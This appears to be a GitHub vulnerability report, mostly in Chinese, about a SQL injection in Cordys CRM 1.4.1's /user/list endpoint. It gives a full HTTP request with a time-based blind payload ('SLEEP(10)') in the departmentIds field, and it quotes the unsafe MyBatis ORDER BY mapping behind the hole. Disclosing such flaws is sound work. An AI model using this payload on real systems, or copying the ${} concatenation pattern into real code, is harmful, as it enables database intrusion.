Skip to content

[Security Vulnerability] SQL Injection in /user/list #1116

@Tomikun2

Description

@Tomikun2

Cordys CRM 版本

1.4.1

使用外置数据库

问题描述

CordysCRM中的/user/list存在sql注入

重现步骤

第一步登录系统,漏洞点在系统-组织架构中

Image

第二步发送数据包
POST /user/list HTTP/1.1
Host: ip:8081
Accept: application/json, text/plain, /
Origin: http://ip:8081
Accept-Encoding: gzip, deflate
X-AUTH-TOKEN: a02ebc8c-83c7-45e6-9a48-95c249ef8cb8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Referer: http://ip:8081/
Accept-Language: zh-CN
Content-Type: application/json;charset=UTF-8
CSRF-TOKEN: CYkmuI1mFPJzzgCqqe7HRA37AAw+I8J/qzbRjXiVWJO0XbmCcRvNx+WQCOzTLfM6oUzUK8fUPN/skLYEWi3SDw23e4fH5TalUE6d1NfoTw==
Content-Length: 184

{
"current": 1,
"pageSize": 30,
"combineSearch": { "searchMode": "AND", "conditions": [] },
"keyword": "",
"departmentIds": [
"868820344381440",
"1') AND (SELECT SLEEP(10)) AND ('1"
],
"filters": []
}

响应结果如下:

Image

注入点: JSON 请求体中的 departmentIds 参数。
成因: 后端服务(OrganizationUserService.java)在未进行适当过滤或转义的情况下,直接将用户输入拼接到 SQL 字符串中(手动添加单引号)。该字符串随后在 MyBatis Mapper XML 文件中通过不安全的 $ {} 语法被直接嵌入到 ORDER BY 子句中执行。
限制条件: 由于系统启用了全局异常处理(JDBC 回滚机制),基于报错的注入方式被抑制。但是,基于时间的盲注(Time-Based Blind Injection)完全有效。
前提条件: 注入的数组中必须包含一个有效的部门 ID,以确保 WHERE 子句能返回数据,从而迫使数据库优化器执行 ORDER BY 排序阶段——而注入代码正位于此阶段。

具体代码问题如下:

XML

<select id="list" resultType="cn.cordys.crm.system.dto.response.UserPageResponse">
    SELECT ... FROM sys_organization_user sou
    <include refid="sorts">
        <property name="sort" value="request.sort"/>
    </include>
</select>

<sql id="sorts">
    <choose>
        <otherwise>
            ORDER BY
            sou.enable DESC,
            ${orderByClause}, is_commander DESC
        </otherwise>
    </choose>
</sql>

Metadata

Metadata

Assignees

Labels

bugSomething isn't working待用户反馈已回复,待用户反馈

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions